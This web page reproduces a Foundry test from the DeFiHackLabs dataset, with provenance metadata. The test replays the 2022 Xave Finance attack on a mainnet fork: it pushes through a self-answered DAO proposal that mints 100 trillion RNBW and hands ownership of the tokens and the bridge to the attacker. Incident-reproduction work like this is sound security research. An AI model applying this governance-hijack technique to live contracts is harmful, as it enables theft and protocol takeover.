Skip to content
THREATWIRE

Public reproduction file

src/test/2022-10/XaveFinance_exp.sol

Public reproduction file for dataset entry Xave Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-10/XaveFinance_exp.sol219 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : 100,000,000,000,000 RNBW
8// Attacker : 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2
9// Attack Contract : 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3
10// Vulnerable Contract : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F
11// Attack Tx : https://etherscan.io/tx/0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F#code
16// @Analysis
17// Article post mortem Xave Finance : https://medium.com/xave-finance/post-mortem-safenap-dao-module-bug-505958e9c716
18// Article Andrei Simion : https://gist.github.com/andreiashu/da5909a7230ff67a8c3b4018a9717276
19// Twitter BeosinAlert : https://twitter.com/BeosinAlert/status/1579040051853303808
20// Twitter Ancilia : https://twitter.com/AnciliaInc/status/1578952542926491650
22contract Enum {
23 enum Operation {
24 Call,
25 DelegateCall
26 }
29interface IDaoModule {
30 function getTransactionHash(
31 address to,
32 uint256 value,
33 bytes memory data,
34 Enum.Operation operation,
35 uint256 nonce
36 ) external view returns (bytes32);
38 function executeProposalWithIndex(
39 string memory proposalId,
40 bytes32[] memory txHashes,
41 address to,
42 uint256 value,
43 bytes memory data,
44 Enum.Operation operation,
45 uint256 txIndex
46 ) external;
48 function addProposal(string memory proposalId, bytes32[] memory txHashes) external;
50 function buildQuestion(string memory proposalId, bytes32[] memory txHashes) external pure returns (string memory);
52 function questionIds(
53 bytes32
54 ) external returns (bytes32);
57interface IRealitio {
58 function submitAnswer(bytes32 question_id, bytes32 answer, uint256 max_previous) external payable;
61interface IPrimaryBridge {
62 function owner() external view returns (address);
65contract XaveFinanceExploit is Test {
66 IERC20 constant RNBW_TOKEN = IERC20(0xE94B97b6b43639E238c851A7e693F50033EfD75C);
67 IERC20 constant LPOP_TOKEN = IERC20(0x6335A2E4a2E304401fcA4Fc0deafF066B813D055);
68 IPrimaryBridge constant PRIMARY_BRIDGE = IPrimaryBridge(0x579270F151D142eb8BdC081043a983307Aa15786);
69 IDaoModule constant DAO_MODULE = IDaoModule(0x8f9036732b9aa9b82D8F35e54B71faeb2f573E2F);
70 IRealitio constant REALITIO = IRealitio(0x325a2e0F3CCA2ddbaeBB4DfC38Df8D19ca165b47);
71 address constant ATTACKER_EOA = 0x0f44f3489D17e42ab13A6beb76E57813081fc1E2;
72 address constant ATTACKER_CONTRACT = 0xE167cdAAc8718b90c03Cf2CB75DC976E24EE86D3;
74 function setUp() public {
75 vm.createSelectFork("mainnet", 15_704_736);
76 // Adding labels to improve stack traces' readability
77 vm.label(address(RNBW_TOKEN), "RNBW_TOKEN");
78 vm.label(address(LPOP_TOKEN), "LPOP_TOKEN");
79 vm.label(address(PRIMARY_BRIDGE), "PRIMARY_BRIDGE");
80 vm.label(address(DAO_MODULE), "DAO_MODULE");
81 vm.label(address(REALITIO), "REALITIO");
82 vm.label(ATTACKER_EOA, "ATTACKER_EOA");
83 vm.label(ATTACKER_CONTRACT, "ATTACKER_CONTRACT");
84 vm.label(0x7eaE370E6a76407C3955A2f0BBCA853C38e6454E, "XAVE_GNOSIS_SAFE_MULTISIG");
85 }
87 function encodeWithSignature_mint(address to, uint256 amount) internal pure returns (bytes memory) {
88 return abi.encodeWithSignature("mint(address,uint256)", to, amount);
89 }
91 function encodeWithSignature_transferOwnership(
92 address to
93 ) internal pure returns (bytes memory) {
94 return abi.encodeWithSignature("transferOwnership(address)", to);
95 }
97 function testAttack() public {
98 // tx to mint 100,000,000,000,000 RNBW tokens
99 bytes32 tx0 = DAO_MODULE.getTransactionHash(
100 address(RNBW_TOKEN),
101 0,
102 encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),
103 //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",
104 Enum.Operation(0),
105 0
106 );
108 // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
109 bytes32 tx1 = DAO_MODULE.getTransactionHash(
110 address(RNBW_TOKEN),
111 0,
112 encodeWithSignature_transferOwnership(ATTACKER_EOA),
113 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
114 Enum.Operation(0),
115 1
116 );
118 // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
119 bytes32 tx2 = DAO_MODULE.getTransactionHash(
120 address(LPOP_TOKEN),
121 0,
122 encodeWithSignature_transferOwnership(ATTACKER_EOA),
123 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
124 Enum.Operation(0),
125 2
126 );
128 // tx to transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
129 bytes32 tx3 = DAO_MODULE.getTransactionHash(
130 address(PRIMARY_BRIDGE),
131 0,
132 encodeWithSignature_transferOwnership(ATTACKER_EOA),
133 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
134 Enum.Operation(0),
135 3
136 );
138 // the txIDs generated using getTransactionHash()
139 bytes32[] memory txIDs = new bytes32[](4);
140 txIDs[0] = tx0;
141 txIDs[1] = tx1;
142 txIDs[2] = tx2;
143 txIDs[3] = tx3;
145 DAO_MODULE.addProposal("2", txIDs);
146 string memory q = DAO_MODULE.buildQuestion("2", txIDs);
147 bytes32 qID = DAO_MODULE.questionIds(keccak256(bytes(q)));
148 REALITIO.submitAnswer{value: 1}(qID, bytes32(uint256(1)), 0);
150 vm.warp(block.timestamp + 24 * 60 * 60);
152 emit log_named_address("[Before proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());
153 emit log_named_address("[Before proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());
154 emit log_named_address("[Before proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());
155 emit log_named_decimal_uint(
156 "[Before proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18
157 );
159 vm.startPrank(ATTACKER_CONTRACT);
161 // Execute mint 100,000,000,000,000 RNBW tokens
162 DAO_MODULE.executeProposalWithIndex(
163 "2",
164 txIDs,
165 address(RNBW_TOKEN),
166 0,
167 encodeWithSignature_mint(ATTACKER_EOA, 100_000_000_000_000_000_000_000_000_000_000),
168 //hex"40c10f190000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e200000000000000000000000000000000000004ee2d6d415b85acef8100000000",
169 Enum.Operation(0),
170 0
171 );
173 // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
174 DAO_MODULE.executeProposalWithIndex(
175 "2",
176 txIDs,
177 address(RNBW_TOKEN),
178 0,
179 encodeWithSignature_transferOwnership(ATTACKER_EOA),
180 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
181 Enum.Operation(0),
182 1
183 );
185 // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
186 DAO_MODULE.executeProposalWithIndex(
187 "2",
188 txIDs,
189 address(LPOP_TOKEN),
190 0,
191 encodeWithSignature_transferOwnership(ATTACKER_EOA),
192 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
193 Enum.Operation(0),
194 2
195 );
197 // Execute transferOwnership() to ATTACKER_EOA (0x0f44f3489D17e42ab13A6beb76E57813081fc1E2)
198 DAO_MODULE.executeProposalWithIndex(
199 "2",
200 txIDs,
201 address(PRIMARY_BRIDGE),
202 0,
203 encodeWithSignature_transferOwnership(ATTACKER_EOA),
204 //hex"f2fde38b0000000000000000000000000f44f3489d17e42ab13a6beb76e57813081fc1e2",
205 Enum.Operation(0),
206 3
207 );
209 vm.stopPrank();
211 emit log_string("--------------------------------------------------------------");
212 emit log_named_address("[After proposal Execution] Owner of $RNBW: ", RNBW_TOKEN.owner());
213 emit log_named_address("[After proposal Execution] Owner of $LPOP: ", LPOP_TOKEN.owner());
214 emit log_named_address("[After proposal Execution] Owner of PrimaryBridge: ", PRIMARY_BRIDGE.owner());
215 emit log_named_decimal_uint(
216 "[After proposal Execution] Attacker's $RNBW Token Balance: ", RNBW_TOKEN.balanceOf(ATTACKER_EOA), 18
217 );
218 }

Analysis

Dataset entry

Public Foundry test for “Xave Finance” (2022-10-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0f44f3489d17e42ab13a6beb76e57813081fc1e2

  • Attack Contract

    0xe167cdaac8718b90c03cf2cb75dc976e24ee86d3

  • Vulnerable Contract

    0x8f9036732b9aa9b82d8f35e54b71faeb2f573e2f

  • Attack Tx

    0xc18ec2eb7d41638d9982281e766945d0428aaeda6211b4ccb6626ea7cff31f4a

File record

Name
Xave Finance
Path
src/test/2022-10/XaveFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
69489a8dc54cbd44f8485b46dcc3bb9d534c7e13
Language
Solidity
Size
220 lines
Date
2022-10-09
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-10/XaveFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 69489a8dc54cbd44f8485b46dcc3bb9d534c7e13, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.